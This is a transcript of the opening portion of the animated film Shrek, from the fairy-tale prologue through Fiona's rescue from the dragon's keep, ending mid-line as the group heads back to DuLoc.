Once upon a time there was a lovely princess. But she had an enchantment upon her of a fearful sort which could only be broken by love's first kiss. She was locked away in a castle guarded by a terrible fire-breathing dragon. Many brave knights had attempted to free her from this dreadful prison, but non prevailed. She waited in the dragon's keep in the highest room of the tallest tower for her true love and true love's first kiss. (laughs) Like that's ever gonna happen. What a load of - (toilet flush) Allstar - by Smashmouth begins to play. Shrek goes about his day. While in a nearby town, the villagers get together to go after the ogre. NIGHT - NEAR SHREK'S HOME MAN1 Think it's in there? MAN2 All right. Let's get it! MAN1 Whoa. Hold on. Do you know what that thing can do to you? MAN3 Yeah, it'll grind your bones for it's bread. Shrek sneaks up behind them and laughs. SHREK Yes, well, actually, that would be a giant. Now, ogres, oh they're much worse. They'll make a suit from your freshly peeled skin. MEN No! SHREK They'll shave your liver. Squeeze the jelly from your eyes! Actually, it's quite good on toast. MAN1 Back! Back, beast! Back! I warn ya! (waves the torch at Shrek.) Shrek calmly licks his fingers and extinguishes the torch. The men shrink back away from him. Shrek roars very loudly and long and his breath extinguishes all the remaining torches until the men are in the dark. SHREK This is the part where you run away. (The men scramble to get away. He laughs.) And stay out! (looks down and picks up a piece of paper. Reads.) "Wanted. Fairy tale creatures."(He sighs and throws the paper over his shoulder.) THE NEXT DAY There is a line of fairy tale creatures. The head of the guard sits at a table paying people for bringing the fairy tale creatures to him. There are cages all around. Some of the people in line are Peter Pan, who is carrying Tinkerbell in a cage, Gipetto who's carrying Pinocchio, and a farmer who is carrying the three little pigs. GUARD All right. This one's full. Take it away! Move it along. Come on! Get up! HEAD GUARD Next! GUARD (taking the witch's broom) Give me that! Your flying days are over. (breaks the broom in half) HEAD GUARD That's 20 pieces of silver for the witch. Next! GUARD Get up! Come on! HEAD GUARD Twenty pieces. LITTLE BEAR (crying) This cage is too small. DONKEY Please, don't turn me in. I'll never be stubborn again. I can change. Please! Give me another chance! OLD WOMAN Oh, shut up. (jerks his rope) DONKEY Oh! HEAD GUARD Next! What have you got? GIPETTO This little wooden puppet. PINOCCHIO I'm not a puppet. I'm a real boy. (his nose grows) HEAD GUARD Five shillings for the possessed toy. Take it away. PINOCCHIO Father, please! Don't let them do this! Help me! Gipetto takes the money and walks off. The old woman steps up to the table. HEAD GUARD Next! What have you got? OLD WOMAN Well, I've got a talking donkey. HEAD GUARD Right. Well, that's good for ten shillings, if you can prove it. OLD WOMAN Oh, go ahead, little fella. Donkey just looks up at her. HEAD GUARD Well? OLD WOMAN Oh, oh, he's just...he's just a little nervous. He's really quite a chatterbox. Talk, you boneheaded dolt... HEAD GUARD That's it. I've heard enough. Guards! OLD WOMAN No, no, he talks! He does. (pretends to be Donkey) I can talk. I love to talk. I'm the talkingest damn thing you ever saw. HEAD GUARD Get her out of my sight. OLD WOMAN No, no! I swear! Oh! He can talk! The guards grab the old woman and she struggles with them. One of her legs flies out and kicks Tinkerbell out of Peter Pan's hands, and her cage drops on Donkey's head. He gets sprinkled with fairy dust and he's able to fly. DONKEY Hey! I can fly! PETER PAN He can fly! 3 LITTLE PIGS He can fly! HEAD GUARD He can talk! DONKEY Ha, ha! That's right, fool! Now I'm a flying, talking donkey. You might have seen a housefly, maybe even a superfly but I bet you ain't never seen a donkey fly. Ha, ha! (the pixie dust begins to wear off) Uh-oh. (he begins to sink to the ground.) He hits the ground with a thud. HEAD GUARD Seize him! (Donkey takes of running.) After him! GUARDS He's getting away! Get him! This way! Turn! Donkey keeps running and he eventually runs into Shrek. Literally. Shrek turns around to see who bumped into him. Donkey looks scared for a moment then he spots the guards coming up the path. He quickly hides behind Shrek. HEAD GUARD You there. Ogre! SHREK Aye? HEAD GUARD By the order of Lord Farquaad I am authorized to place you both under arrest and transport you to a designated resettlement facility. SHREK Oh, really? You and what army? He looks behind the guard and the guard turns to look as well and we see that the other men have run off. The guard tucks tail and runs off. Shrek laughs and goes back about his business and begins walking back to his cottage. DONKEY Can I say something to you? Listen, you was really, really, really somethin' back here. Incredible! SHREK Are you talkin' to...(he turns around and Donkey is gone) me? (he turns back around and Donkey is right in front of him.) Whoa! DONKEY Yes. I was talkin' to you. Can I tell you that you that you was great back here? Those guards! They thought they was all of that. Then you showed up, and bam! They was trippin' over themselves like babes in the woods. That really made me feel good to see that. SHREK Oh, that's great. Really. DONKEY Man, it's good to be free. SHREK Now, why don't you go celebrate your freedom with your own friends? Hmm? DONKEY But, uh, I don't have any friends. And I'm not goin' out there by myself. Hey, wait a minute! I got a great idea! I'll stick with you. You're mean, green, fightin' machine. Together we'll scare the spit out of anybody that crosses us. Shrek turns and regards Donkey for a moment before roaring very loudly. DONKEY Oh, wow! That was really scary. If you don't mind me sayin', if that don't work, your breath certainly will get the job done, 'cause you definitely need some Tic Tacs or something, 'cause you breath stinks! You almost burned the hair outta my nose, just like the time...(Shrek covers his mouth but Donkey continues to talk, so Shrek removes his hand.) ...then I ate some rotten berries. I had strong gases leaking out of my butt that day. SHREK Why are you following me? DONKEY I'll tell you why. (singing) 'Cause I'm all alone, There's no one here beside me, My problems have all gone, There's no one to deride me, But you gotta have faith... SHREK Stop singing! It's no wonder you don't have any friends. DONKEY Wow. Only a true friend would be that cruelly honest. SHREK Listen, little donkey. Take a look at me. What am I? DONKEY (looks all the way up at Shrek) Uh ...really tall? SHREK No! I'm an ogre! You know. "Grab your torch and pitchforks." Doesn't that bother you? DONKEY Nope. SHREK Really? DONKEY Really, really. SHREK Oh. DONKEY Man, I like you. What's you name? SHREK Uh, Shrek. DONKEY Shrek? Well, you know what I like about you, Shrek? You got that kind of I-don't-care-what-nobody-thinks-of-me thing. I like that. I respect that, Shrek. You all right. (They come over a hill and you can see Shrek's cottage.) Whoa! Look at that. Who'd want to live in place like that? SHREK That would be my home. DONKEY Oh! And it is lovely! Just beautiful. You know you are quite a decorator. It's amazing what you've done with such a modest budget. I like that boulder. That is a nice boulder. I guess you don't entertain much, do you? SHREK I like my privacy. DONKEY You know, I do too. That's another thing we have in common. Like I hate it when you got somebody in your face. You've trying to give them a hint, and they won't leave. There's that awkward silence. (awkward silence) Can I stay with you? SHREK Uh, what? DONKEY Can I stay with you, please? SHREK (sarcastically) Of course! DONKEY Really? SHREK No. DONKEY Please! I don't wanna go back there! You don't know what it's like to be considered a freak. (pause while he looks at Shrek) Well, maybe you do. But that's why we gotta stick together. You gotta let me stay! Please! Please! SHREK Okay! Okay! But one night only. DONKEY Ah! Thank you! (he runs inside the cottage) SHREK What are you...? (Donkey hops up onto a chair.) No! No! DONKEY This is gonna be fun! We can stay up late, swappin' manly stories, and in the mornin' I'm makin' waffles. SHREK Oh! DONKEY Where do, uh, I sleep? SHREK (irritated) Outside! DONKEY Oh, well, I guess that's cool. I mean, I don't know you, and you don't know me, so I guess outside is best, you know. Here I go. Good night. (Shrek slams the door.) (sigh) I mean, I do like the outdoors. I'm a donkey. I was born outside. I'll just be sitting by myself outside, I guess, you know. By myself, outside. I'm all alone...there's no one here beside me... SHREK'S COTTAGE - NIGHT Shrek is getting ready for dinner. He sits himself down and lights a candle made out of earwax. He begins to eat when he hears a noise. He stands up with a huff. SHREK (to Donkey) I thought I told you to stay outside. DONKEY (from the window) I am outside. There is another noise and Shrek turns to find the person that made the noise. He sees several shadows moving. He finally turns and spots 3 blind mice on his table. BLIND MOUSE1 Well, gents, it's a far cry from the farm, but what choice do we have? BLIND MOUSE2 It's not home, but it'll do just fine. GORDO (bouncing on a slug) What a lovely bed. SHREK Got ya. (Grabs a mouse, but it escapes and lands on his shoulder.) GORDO I found some cheese. (bites Shrek's ear) SHREK Ow! GORDO Blah! Awful stuff. BLIND MOUSE1 Is that you, Gordo? GORDO How did you know? SHREK Enough! (he grabs the 3 mice) What are you doing in my house? (He gets bumped from behind and he drops the mice.) Hey! (he turns and sees the Seven Dwarves with Snow White on the table.) Oh, no, no, no. Dead broad off the table. DWARF Where are we supposed to put her? The bed's taken. SHREK Huh? Shrek marches over to the bedroom and throws back the curtain. The Big Bad Wolf is sitting in the bed. The wolf just looks at him. BIG BAD WOLF What? TIME LAPSE Shrek now has the Big Bad Wolf by the collar and is dragging him to the front door. SHREK I live in a swamp. I put up signs. I'm a terrifying ogre! What do I have to do get a little privacy? (He opens the front door to throw the Wolf out and he sees that all the collected Fairy Tale Creatures are on his land.) Oh, no. No! No! The 3 bears sit around the fire, the pied piper is playing his pipe and the rats are all running to him, some elves are directing flight traffic so that the fairies and witches can land...etc. SHREK What are you doing in my swamp? (this echoes and everyone falls silent.) Gasps are heard all around. The 3 good fairies hide inside a tent. SHREK All right, get out of here. All of you, move it! Come on! Let's go! Hapaya! Hapaya! Hey! Quickly. Come on! (more dwarves run inside the house) No, no! No, no. Not there. Not there. (they shut the door on him) Oh! (turns to look at Donkey) DONKEY Hey, don't look at me. I didn't invite them. PINOCCHIO Oh, gosh, no one invited us. SHREK What? PINOCCHIO We were forced to come here. SHREK (flabbergasted) By who? LITTLE PIG Lord Farquaad. He huffed and he puffed and he...signed an eviction notice. SHREK (heavy sigh) All right. Who knows where this Farquaad guy is? Everyone looks around at each other but no one answers. DONKEY Oh, I do. I know where he is. SHREK Does anyone else know where to find him? Anyone at all? DONKEY Me! Me! SHREK Anyone? DONKEY Oh! Oh, pick me! Oh, I know! I know! Me, me! SHREK (sigh) Okay, fine. Attention, all fairy tale things. Do not get comfortable. Your welcome is officially worn out. In fact, I'm gonna see this guy Farquaad right now and get you all off my land and back where you came from! (Pause. Then the crowd goes wild.) Oh! (to Donkey) You! You're comin' with me. DONKEY All right, that's what I like to hear, man. Shrek and Donkey, two stalwart friends, off on a whirlwind big-city adventure. I love it! DONKEY (singing) On the road again. Sing it with me, Shrek. I can't wait to get on the road again. SHREK What did I say about singing? DONKEY Can I whistle? SHREK No. DONKEY Can I hum it? SHREK All right, hum it. Donkey begins to hum 'On the Road Again'. DULOC - KITCHEN A masked man is torturing the Gingerbread Man. He's continually dunking him in a glass of milk. Lord Farquaad walks in. FARQUAAD That's enough. He's ready to talk. The Gingerbread Man is pulled out of the milk and slammed down onto a cookie sheet. Farquaad laughs as he walks over to the table. However when he reaches the table we see that it goes up to his eyes. He clears his throat and the table is lowered. FARQUAAD (he picks up the Gingerbread Man's legs and plays with them) Run, run, run, as fast as you can. You can't catch me. I'm the gingerbread man. GINGERBREAD MAN You are a monster. FARQUAAD I'm not the monster here. You are. You and the rest of that fairy tale trash, poisoning my perfect world. Now, tell me! Where are the others? GINGERBREAD MAN Eat me! (He spits milk into Farquaad's eye.) FARQUAAD I've tried to be fair to you creatures. Now my patience has reached its end! Tell me or I'll...(he makes as if to pull off the Gingerbread Man's buttons) GINGERBREAD MAN No, no, not the buttons. Not my gumdrop buttons. FARQUAAD All right then. Who's hiding them? GINGERBREAD MAN Okay, I'll tell you. Do you know the muffin man? FARQUAAD The muffin man? GINGERBREAD MAN The muffin man. FARQUAAD Yes, I know the muffin man, who lives on Drury Lane? GINGERBREAD MAN Well, she's married to the muffin man. FARQUAAD The muffin man? GINGERBREAD MAN The muffin man! FARQUAAD She's married to the muffin man. The door opens and the Head Guard walks in. HEAD GUARD My lord! We found it. FARQUAAD Then what are you waiting for? Bring it in. More guards enter carrying something that is covered by a sheet. They hang up whatever it is and remove the sheet. It is the Magic Mirror. GINGERBREAD MAN (in awe) Ohhhh... FARQUAAD Magic mirror... GINGERBREAD MAN Don't tell him anything! (Farquaad picks him up and dumps him into a trash can with a lid.) No! FARQUAAD Evening. Mirror, mirror on the wall. Is this not the most perfect kingdom of them all? MIRROR Well, technically you're not a king. FARQUAAD Uh, Thelonius. (Thelonius holds up a hand mirror and smashes it with his fist.) You were saying? MIRROR What I mean is you're not a king yet. But you can become one. All you have to do is marry a princess. FARQUAAD Go on. MIRROR (chuckles nervously) So, just sit back and relax, my lord, because it's time for you to meet today's eligible bachelorettes. And here they are! Bachelorette number one is a mentally abused shut-in from a kingdom far, far away. She likes sushi and hot tubbing anytime. Her hobbies include cooking and cleaning for her two evil sisters. Please welcome Cinderella. (shows picture of Cinderella) Bachelorette number two is a cape-wearing girl from the land of fancy. Although she lives with seven other men, she's not easy. Just kiss her dead, frozen lips and find out what a live wire she is. Come on. Give it up for Snow White! (shows picture of Snow White) And last, but certainly not last, bachelorette number three is a fiery redhead from a dragon-guarded castle surrounded by hot boiling lava! But don't let that cool you off. She's a loaded pistol who likes pina colads and getting caught in the rain. Yours for the rescuing, Princess Fiona! (Shows picture of Princess Fiona) So will it be bachelorette number one, bachelorette number two or bachelorette number three? GUARDS Two! Two! Three! Three! Two! Two! Three! FARQUAAD Three? One? Three? THELONIUS Three! (holds up 2 fingers) Pick number three, my lord! FARQUAAD Okay, okay, uh, number three! MIRROR Lord Farquaad, you've chosen Princess Fiona. FARQUAAD Princess Fiona. She's perfect. All I have to do is just find someone who can go... MIRROR But I probably should mention the little thing that happens at night. FARQUAAD I'll do it. MIRROR Yes, but after sunset... FARQUAAD Silence! I will make this Princess Fiona my queen, and DuLoc will finally have the perfect king! Captain, assemble your finest men. We're going to have a tournament. (smiles evilly) DuLoc Parking Lot - Lancelot Section Shrek and Donkey come out of the field that is right by the parking lot. The castle itself is about 40 stories high. DONKEY But that's it. That's it right there. That's DuLoc. I told ya I'd find it. SHREK So, that must be Lord Farquaad's castle. DONKEY Uh-huh. That's the place. SHREK Do you think maybe he's compensating for something? (He laughs, but then groans as Donkey doesn't get the joke. He continues walking through the parking lot.) DONKEY Hey, wait. Wait up, Shrek. MAN Hurry, darling. We're late. Hurry. SHREK Hey, you! (The attendant, who is wearing a giant head that looks like Lord Farquaad, screams and begins running through the rows of rope to get to the front gate to get away from Shrek.) Wait a second. Look, I'm not gonna eat you. I just - - I just - - (He sighs and then begins walking straight through the rows. The attendant runs into a wall and falls down. Shrek and Donkey look at him then continue on into DuLoc.) DULOC They look around but all is quiet. SHREK It's quiet. Too quiet. Where is everybody? DONKEY Hey, look at this! Donkey runs over and pulls a lever that is attached to a box marked 'Information'. The music winds up and then the box doors open up. There are little wooden people inside and they begin to sing. WOODEN PEOPLE Welcome to DuLoc such a perfect town Here we have some rules Let us lay them down Don't make waves, stay in line And we'll get along fine DuLoc is perfect place Please keep off of the grass Shine your shoes, wipe your... face DuLoc is, DuLoc is DuLoc is perfect place. Suddenly a camera takes Donkey and Shrek's picture. DONKEY Wow! Let's do that again! (makes ready to run over and pull the lever again) SHREK (grabs Donkey's tail and holds him still) No. No. No, no, no! No. They hear a trumpet fanfare and head over to the arena. FARQUAAD Brave knights. You are the best and brightest in all the land. Today one of you shall prove himself... As Shrek and Donkey walk down the tunnel to get into the arena Donkey is humming the DuLoc theme song. SHREK All right. You're going the right way for a smacked bottom. DONKEY Sorry about that. FARQUAAD That champion shall have the honor - - no, no - - the privilege to go forth and rescue the lovely Princess Fiona from the fiery keep of the dragon. If for any reason the winner is unsuccessful, the first runner-up will take his place and so on and so forth. Some of you may die, but it's a sacrifice I am willing to make. (cheers) Let the tournament begin! (He notices Shrek) Oh! What is that? It's hideous! SHREK (turns to look at Donkey and then back at Farquaad) Ah, that's not very nice. It's just a donkey. FARQUAAD Indeed. Knights, new plan! The one who kills the ogre will be named champion! Have it him! MEN Get him! SHREK Oh, hey! Now come on! Hang on now. (bumps into a table where there are mugs of beer) CROWD Go ahead! Get him! SHREK (holds up a mug of beer) Can't we just settle this over a pint? CROWD Kill the beast! SHREK No? All right then. (drinks the beer) Come on! He takes the mug and smashes the spigot off the large barrel of beer behind him. The beer comes rushing out drenching the other men and wetting the ground. It's like mud now. Shrek slides past the men and picks up a spear that one of the men dropped. As Shrek begins to fight Donkey hops up onto one of the larger beer barrels. It breaks free of it's ropes and begins to roll. Donkey manages to squish two men into the mud. There is so much fighting going on here I'm not going to go into detail. Suffice to say that Shrek kicks butt. DONKEY Hey, Shrek, tag me! Tag me! Shrek comes over and bangs a man's head up against Donkeys. Shrek gets up on the ropes and interacts with the crowd. SHREK Yeah! A man tries to sneak up behind Shrek, but Shrek turns in time and sees him. WOMAN The chair! Give him the chair! Shrek smashes a chair over the guys back. Finally all the men are down. Donkey kicks one of them in the helmet, and the ding sounds the end of the match. The audience goes wild. SHREK Oh, yeah! Ah! Ah! Thank you! Thank you very much! I'm here till Thursday. Try the veal! Ha, ha! (laughs) The laughter stops as all of the guards turn their weapons on Shrek. HEAD GUARD Shall I give the order, sir? FARQUAAD No, I have a better idea. People of DuLoc, I give you our champion! SHREK What? FARQUAAD Congratulations, ogre. You're won the honor of embarking on a great and noble quest. SHREK Quest? I'm already in a quest, a quest to get my swamp back. FARQUAAD Your swamp? SHREK Yeah, my swamp! Where you dumped those fairy tale creatures! FARQUAAD Indeed. All right, ogre. I'll make you a deal. Go on this quest for me, and I'll give you your swamp back. SHREK Exactly the way it was? FARQUAAD Down to the last slime-covered toadstool. SHREK And the squatters? FARQUAAD As good as gone. SHREK What kind of quest? Time Lapse - Donkey and Shrek are now walking through the field heading away from DuLoc. Shrek is munching on an onion. DONKEY Let me get this straight. You're gonna go fight a dragon and rescue a princess just so Farquaad will give you back a swamp which you only don't have because he filled it full of freaks in the first place. Is that about right? SHREK You know, maybe there's a good reason donkeys shouldn't talk. DONKEY I don't get it. Why don't you just pull some of that ogre stuff on him? Throttle him, lay siege to his fortress, grinds his bones to make your bread, the whole ogre trip. SHREK Oh, I know what. Maybe I could have decapitated an entire village and put their heads on a pike, gotten a knife, cut open their spleen and drink their fluids. Does that sound good to you? DONKEY Uh, no, not really, no. SHREK For your information, there's a lot more to ogres than people think. DONKEY Example? SHREK Example? Okay, um, ogres are like onions. (he holds out his onion) DONKEY (sniffs the onion) They stink? SHREK Yes - - No! DONKEY They make you cry? SHREK No! DONKEY You leave them in the sun, they get all brown, start sproutin' little white hairs. SHREK No! Layers! Onions have layers. Ogres have layers! Onions have layers. You get it? We both have layers. (he heaves a sigh and then walks off) DONKEY (trailing after Shrek) Oh, you both have layers. Oh. {Sniffs} You know, not everybody likes onions. Cake! Everybody loves cakes! Cakes have layers. SHREK I don't care... what everyone likes. Ogres are not like cakes. DONKEY You know what else everybody likes? Parfaits. Have you ever met a person, you say, "Let's get some parfait," they say, "Hell no, I don't like no parfait"? Parfaits are delicious. SHREK No! You dense, irritating, miniature beast of burden! Ogres are like onions! And of story. Bye-bye. See ya later. DONKEY Parfaits may be the most delicious thing on the whole damn planet. SHREK You know, I think I preferred your humming. DONKEY Do you have a tissue or something? I'm making a mess. Just the word parfait make me start slobbering. They head off. There is a montage of their journey. Walking through a field at sunset. Sleeping beneath a bright moon. Shrek trying to put the campfire out the next day and having a bit of a problem, so Donkey pees on the fire to put it out. DRAGON'S KEEP Shrek and Donkey are walking up to the keep that's supposed to house Princess Fiona. It appears to look like a giant volcano. DONKEY (sniffs) Ohh! Shrek! Did you do that? You gotta warn somebody before you just crack one off. My mouth was open and everything. SHREK Believe me, Donkey, if it was me, you'd be dead. (sniffs) It's brimstone. We must be getting close. DONKEY Yeah, right, brimstone. Don't be talking about it's the brimstone. I know what I smell. It wasn't no brimstone. It didn't come off no stone neither. They climb up the side of the volcano/keep and look down. There is a small piece of rock right in the center and that is where the castle is. It is surrounded by boiling lava. It looks very foreboding. SHREK Sure, it's big enough, but look at the location. (laughs...then the laugh turns into a groan) DONKEY Uh, Shrek? Uh, remember when you said ogres have layers? SHREK Oh, aye. DONKEY Well, I have a bit of a confession to make. Donkeys don't have layers. We wear our fear right out there on our sleeves. SHREK Wait a second. Donkeys don't have sleeves. DONKEY You know what I mean. SHREK You can't tell me you're afraid of heights. DONKEY No, I'm just a little uncomfortable about being on a rickety bridge over a boiling like of lava! SHREK Come on, Donkey. I'm right here beside ya, okay? For emotional support., we'll just tackle this thing together one little baby step at a time. DONKEY Really? SHREK Really, really. DONKEY Okay, that makes me feel so much better. SHREK Just keep moving. And don't look down. DONKEY Okay, don't look down. Don't look down. Don't look down. Keep on moving. Don't look down. (he steps through a rotting board and ends up looking straight down into the lava) Shrek! I'm lookin' down! Oh, God, I can't do this! Just let me off, please! SHREK But you're already halfway. DONKEY But I know that half is safe! SHREK Okay, fine. I don't have time for this. You go back. DONKEY Shrek, no! Wait! SHREK Just, Donkey - - Let's have a dance then, shall me? (bounces and sways the bridge) DONKEY Don't do that! SHREK Oh, I'm sorry. Do what? Oh, this? (bounces the bridge again) DONKEY Yes, that! SHREK Yes? Yes, do it. Okay. (continues to bounce and sway as he backs Donkey across the bridge) DONKEY No, Shrek! No! Stop it! SHREK You said do it! I'm doin' it. DONKEY I'm gonna die. I'm gonna die. Shrek, I'm gonna die. (steps onto solid ground) Oh! SHREK That'll do, Donkey. That'll do. (walks towards the castle) DONKEY Cool. So where is this fire-breathing pain-in-the-neck anyway? SHREK Inside, waiting for us to rescue her. (chuckles) DONKEY I was talkin' about the dragon, Shrek. INSIDE THE CASTLE DONKEY You afraid? SHREK No. DONKEY But... SHREK Shh. DONKEY Oh, good. Me neither. (sees a skeleton and gasps) 'Cause there's nothin' wrong with bein' afraid. Fear's a sensible response to an unfamiliar situation. Unfamiliar dangerous situation, I might add. With a dragon that breathes fire and eats knights and breathes fire, it sure doesn't mean you're a coward if you're a little scared. I sure as heck ain't no coward. I know that. SHREK Donkey, two things, okay? Shut ... up. Now go over there and see if you can find any stairs. DONKEY Stairs? I thought we was lookin' for the princess. SHREK (putting on a helmet) The princess will be up the stairs in the highest room in the tallest tower. DONKEY What makes you think she'll be there? SHREK I read it in a book once. (walks off) DONKEY Cool. You handle the dragon. I'll handle the stairs. I'll find those stairs. I'll whip their butt too. Those stairs won't know which way they're goin'. (walks off) EMPTY ROOM Donkey is still talking to himself as he looks around the room. DONKEY I'm gonna take drastic steps. Kick it to the curb. Don't mess with me. I'm the stair master. I've mastered the stairs. I wish I had a step right here. I'd step all over it. ELSEWHERE Shrek spots a light in the tallest tower window. SHREK Well, at least we know where the princess is, but where's the... DONKEY (os) Dragon! Donkey gasps and takes off running as the dragon roars again. Shrek manages to grab Donkey out of the way just as the dragon breathes fire. SHREK Donkey, look out! (he manages to get a hold of the dragons tail and holds on) Got ya! The dragon gets irritated at this and flicks it's tail and Shrek goes flying through the air and crashes through the roof of the tallest tower. Fiona wakes up with a jerk and looks at him lying on the floor. DONKEY Oh! Aah! Aah! Donkey get cornered as the Dragon knocks away all but a small part of the bridge he's on. DONKEY No. Oh, no, No! (the dragon roars) Oh, what large teeth you have. (the dragon growls) I mean white, sparkling teeth. I know you probably hear this all time from your food, but you must bleach, 'cause that is one dazzling smile you got there. Do I detect a hint of minty freshness? And you know what else? You're - - You're a girl dragon! Oh, sure! I mean, of course you're a girl dragon. You're just reeking of feminine beauty. (the dragon begins fluttering her eyes at him) What's the matter with you? You got something in your eye? Ohh. Oh. Oh. Man, I'd really love to stay, but you know, I'm, uh...(the dragon blows a smoke ring in the shape of a heart right at him, and he coughs) I'm an asthmatic, and I don't know if it'd work out if you're gonna blow smoke rings. Shrek! (the dragon picks him up with her teeth and carries him off) No! Shrek! Shrek! Shrek! FIONA'S ROOM Shrek groans as he gets up off the floor. His back is to Fiona so she straightens her dress and lays back down on the bed. She then quickly reaches over and gets the bouquet of flowers off the side table. She then lays back down and appears to be asleep. Shrek turns and goes over to her. He looks down at Fiona for a moment and she puckers her lips. Shrek takes her by the shoulders and shakes her away. FIONA Oh! Oh! SHREK Wake up! FIONA What? SHREK Are you Princess Fiona? FIONA I am, awaiting a knight so bold as to rescue me. SHREK Oh, that's nice. Now let's go! FIONA But wait, Sir Knight. This be-ith our first meeting. Should it not be a wonderful, romantic moment? SHREK Yeah, sorry, lady. There's no time. FIONA Hey, wait. What are you doing? You should sweep me off my feet out yonder window and down a rope onto your valiant steed. SHREK You've had a lot of time to plan this, haven't you? FIONA (smiles) Mm-hmm. Shrek breaks the lock on her door and pulls her out and down the hallway. FIONA But we have to savor this moment! You could recite an epic poem for me. A ballad? A sonnet! A limerick? Or something! SHREK I don't think so. FIONA Can I at least know the name of my champion? SHREK Uh, Shrek. FIONA Sir Shrek. (clears throat and holds out a handkerchief) I pray that you take this favor as a token of my gratitude. SHREK Thanks! Suddenly they hear the dragon roar. FIONA (surprised)You didn't slay the dragon? SHREK It's on my to-do list. Now come on! (takes off running and drags Fiona behind him.) FIONA But this isn't right! You were meant to charge in, sword drawn, banner flying. That's what all the other knights did. SHREK Yeah, right before they burst into flame. FIONA That's not the point. (Shrek suddenly stops and she runs into him.) Oh! (Shrek ignores her and heads for a wooden door off to the side.) Wait. Where are you going? The exit's over there. SHREK Well, I have to save my ass. FIONA What kind of knight are you? SHREK One of a kind. (opens the door into the throne room) DONKEY (os) Slow down. Slow down, baby, please. I believe it's healthy to get to know someone over a long period of time. Just call me old-fashioned. (laughs worriedly) (we see him up close and from a distance as Shrek sneaks into the room) I don't want to rush into a physical relationship. I'm not emotionally ready for a commitment of, uh, this - - Magnitude really is the word I'm looking for. Magnitude- - Hey, that is unwanted physical contact. Hey, what are you doing? Okay, okay. Let's just back up a little and take this one step at a time. We really should get to know each other first as friends or pen pals. I'm on the road a lot, but I just love receiving cards - - I'd really love to stay, but - - Don't do that! That's my tail! That's my personal tail. You're gonna tear it off. I don't give permission - - What are you gonna do with that? Hey, now. No way. No! No! No, no! No. No, no, no. No! Oh! Shrek grabs a chain that's connected to the chandelier and swings toward the dragon. He misses and he swings back again. He looks up and spots that the chandelier is right above the dragons head. He pulls on the chain and it releases and he falls down and bumps Donkey out of the way right as the dragon is about to kiss him. Instead the dragon kisses Shreks' butt. She opens her eyes and roars. Shrek lets go of the chain and the chandelier falls onto her head, but it's too big and it goes over her head and forms a sort of collar for her. She roars again and Shrek and Donkey take off running. Very 'Matrix' style. Shrek grabs Donkey and then grabs Princess Fiona as he runs past her. DONKEY Hi, Princess! FIONA It talks! SHREK Yeah, it's getting him to shut up that's the trick. They all start screaming as the dragon gains on them. Shrek spots a descending slide and jumps on. But unfortunately there is a crack in the stone and it hits Shrek right in the groin. His eyes cross and as he reaches the bottom of the slide he stumbles off and walks lightly. SHREK Oh! Shrek gets them close to the exit and sets down Donkey and Fiona. SHREK Okay, you two, heard for the exit! I'll take care of the dragon. Shrek grabs a sword and heads back toward the interior of the castle. He throws the sword down in between several overlapping chain links. The chain links are attached to the chandelier that is still around the dragons neck. SHREK (echoing) Run! They all take off running for the exit with the dragon in hot pursuit. They make it to the bridge and head across. The dragons breathes fire and the bridge begins to burn. They all hang on for dear life as the ropes holding the bridge up collapse. They are swung to the other side. As they hang upside down they look in horror as the dragon makes to fly over the boiling lava to get them. But suddenly the chandelier with the chain jerk the dragon back and she's unable to get to them. Our gang climbs quickly to safety as the dragon looks angry and then gives a sad whimper as she watches Donkey walk away. FIONA (sliding down the 'volcano' hill) You did it! You rescued me! You're amazing. (behind her Donkey falls down the hill) You're - - You're wonderful. You're... (turns and sees Shrek fall down the hill and bump into Donkey) a little unorthodox I'll admit. But thy deed is great, and thy heart is pure. I am eternally in your debt. (Donkey clears his throat.) And where would a brave knight be without his noble steed? DONKEY I hope you heard that. She called me a noble steed. She think I'm a steed. FIONA The battle is won. You may remove your helmet, good Sir Knight. SHREK Uh, no. FIONA Why not? SHREK I have helmet hair. FIONA Please. I would'st look upon the face of my rescuer. SHREK No, no, you wouldn't - - 'st. FIONA But how will you kiss me? SHREK What? (to Donkey) That wasn't in the job description. DONKEY Maybe it's a perk. FIONA No, it's destiny. Oh, you must know how it goes. A princess locked in a tower and beset by a dragon is rescued by a brave knight, and then they share true love's first kiss. DONKEY Hmm? With Shrek? You think- - Wait. Wait. You think that Shrek is you true love? FIONA Well, yes. Both Donkey and Shrek burst out laughing. DONKEY You think Shrek is your true love! FIONA What is so funny? SHREK Let's just say I'm not your type, okay?Fiona: Of course, you are. You're my rescuer. Now - - Now remove your helmet. SHREK Look. I really don't think this is a good idea. FIONA Just take off the helmet. SHREK I'm not going to. FIONA Take it off. SHREK No! FIONA Now! SHREK Okay! Easy. As you command. Your Highness. (takes off his helmet) FIONA You- - You're a- - an ogre. SHREK Oh, you were expecting Prince Charming. FIONA Well, yes, actually. Oh, no. This is all wrong. You're not supposed to be an ogre. SHREK Princess, I was sent to rescue you by Lord Farquaad, okay? He is the one who wants to marry you. FIONA Then why didn't he come rescue me? SHREK Good question. You should ask him that when we get there. FIONA But I have to be rescued by my true love, not by some ogre and his- - his pet. DONKEY Well, so much for noble steed. SHREK You're not making my job any easier. FIONA I'm sorry, but your job is not my problem. You can tell Lord Farquaad that if he wants to rescue me properly, I'll be waiting for him right here. SHREK Hey! I'm no one's messenger boy, all right? (ominous) I'm a delivery boy. (he swiftly picks her up and swings her over his shoulder like she was a sack of potatoes) FIONA You wouldn't dare. Put me down! SHREK Ya comin', Donkey? DONKEY I'm right behind ya. FIONA Put me down, or you will suffer the consequences! This is not dignified! Put me down! WOODS A little time has passed and Fiona has calmed down. She just hangs there limply while Shrek carries her. DONKEY Okay, so here's another question. Say there's a woman that digs you, right, but you don't really like her that way. How do you let her down real easy so her feelings aren't hurt, but you don't get burned to a crisp and eaten? FIONA You just tell her she's not your true love. Everyone knows what happens when you find your...(Shrek drops her on the ground) Hey! The sooner we get to DuLoc the better. DONKEY You're gonna love it there, Princess. It's beautiful! FIONA And what of my groom-to-be? Lord Farquaad? What's he like? SHREK Let me put it this way, Princess. Men of Farquaad's stature are in short supply. (he and Donkey laugh) Shrek then proceeds to splash water onto his face to wash off the dust and grime. DONKEY I don't know. There are those who think little of him. (they laugh again) Fiona: Stop it. Stop it, both of you. You're just jealous you can never measure up to a great ruler like Lord Farquaad. SHREK Yeah, well, maybe you're right, Princess. But I'll let you do the "measuring" when you see him tomorrow. FIONA (looks at the setting sun) Tomorrow? It'll take that long? Shouldn't we stop to make camp? SHREK No, that'll take longer. We can keep going. FIONA But there's robbers in the woods. DONKEY Whoa! Time out, Shrek! Camp is starting to sound good. SHREK Hey, come on. I'm scarier than anything we're going to see in 